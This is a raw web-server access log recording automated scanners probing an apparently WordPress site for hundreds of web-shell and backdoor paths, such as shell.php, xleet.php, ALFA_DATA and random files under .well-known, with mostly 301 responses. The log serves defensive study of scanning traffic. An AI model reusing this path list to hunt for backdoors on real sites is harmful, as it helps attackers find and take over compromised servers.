[18/Apr/2025:03:18:51 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:54 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:55 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:56 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:56 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:58 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:18:59 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:02 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:06 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:07 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:08 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:10 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:11 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:11 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:12 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:13 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:13 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:14 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:14 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:15 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:15 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:16 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:18 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:19 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:20 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:21 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:24 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:25 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:26 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:27 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:28 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [18/Apr/2025:03:19:29 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 88.218.62.29 - - [18/Apr/2025:03:38:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 66.249.64.163 - - [18/Apr/2025:03:40:18 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.164 - - [18/Apr/2025:03:40:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.173 - - [18/Apr/2025:03:51:29 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.173 - - [18/Apr/2025:03:51:32 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 162.0.232.217 - - [18/Apr/2025:04:30:40 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:30:46 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:30:57 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:32:36 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:33:20 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:34:20 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:34:50 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:35:30 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:36:05 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:36:11 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:36:51 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:37:25 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:37:56 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:38:55 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:04:38:57 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 52.168.149.57 - - [18/Apr/2025:05:00:23 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:25 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:26 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:26 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:27 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:27 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:28 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:28 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:28 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:29 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:30 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:31 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:31 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:34 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:35 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:36 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:37 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:37 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:37 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:38 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:38 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:38 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:39 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:39 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:40 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:40 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:40 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:41 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:41 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:41 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:42 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:42 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:43 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:43 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:43 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:44 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:44 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:44 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:45 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:46 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:46 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:46 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:46 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:47 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:47 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:48 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:48 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:48 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:49 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:49 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:49 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:49 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:50 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:50 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:51 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:52 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:52 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:53 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:53 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:53 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:54 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:54 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:55 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:55 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:55 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:56 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:56 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:56 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:57 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:57 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:57 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:58 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:58 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:58 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:59 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:59 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:00:59 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:00 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:00 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:00 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:01 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:02 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:03 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:04 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:05 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:06 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:06 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:07 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:07 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:08 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:08 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:09 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:09 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:10 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:10 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:11 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:11 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:12 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:12 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:13 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:13 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:13 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:14 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:14 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:15 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:15 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:15 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:16 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:16 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:16 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:17 -0400] "GET /wp-admin/css/colors/ectoplasm/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:17 -0400] "GET /wp-content/plugins/oouxqal/ovacoczfz.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:17 -0400] "GET /wp-includes/Requests/vvEiCw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:17 -0400] "GET /wp-includes/sitemaps/providers/buy.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:18 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:18 -0400] "GET /wp-admin/astab.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:18 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:19 -0400] "GET /.well-known/fmseuycg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:19 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:19 -0400] "GET /wp-includes/Text/Diff/gethostbyname.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:20 -0400] "GET /admin/editor/engine.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:20 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:20 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:21 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:21 -0400] "GET /wp-content/uploads/index1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:21 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:22 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:22 -0400] "GET /components/ovaxqhsbg.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:22 -0400] "GET /cwuvvcbn.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:22 -0400] "GET /rwvri.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:23 -0400] "GET /.well-known/acme-challenge/jmfi2.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:24 -0400] "GET /templates/beez3/1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:24 -0400] "GET /wp-includes/images/media/code-text.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:25 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:25 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:25 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:26 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:26 -0400] "GET /wp-content/themes/jobok/en.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:26 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:27 -0400] "GET /wp-content/themes/astra/inc/customizer/custom-controls/description/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:27 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:28 -0400] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:28 -0400] "GET /wp-content/plugins/bguoclz/ovaivknnc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:28 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:29 -0400] "GET /wp/ab.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:29 -0400] "GET /wp-includes/theme-compat/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:29 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:29 -0400] "GET /wp-admin/js/widgets/class.api.php999 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:30 -0400] "GET /tmp/.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:30 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:30 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:30 -0400] "GET /wp-includes/js/tinymce/plugins/image/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:31 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:31 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:31 -0400] "GET /wp-admin/maint/01imunify.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:32 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:32 -0400] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:33 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:33 -0400] "GET /wp-content/plugins/seox/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:33 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.57 - - [18/Apr/2025:05:01:34 -0400] "GET /.well-known/hdkmnjbd.php 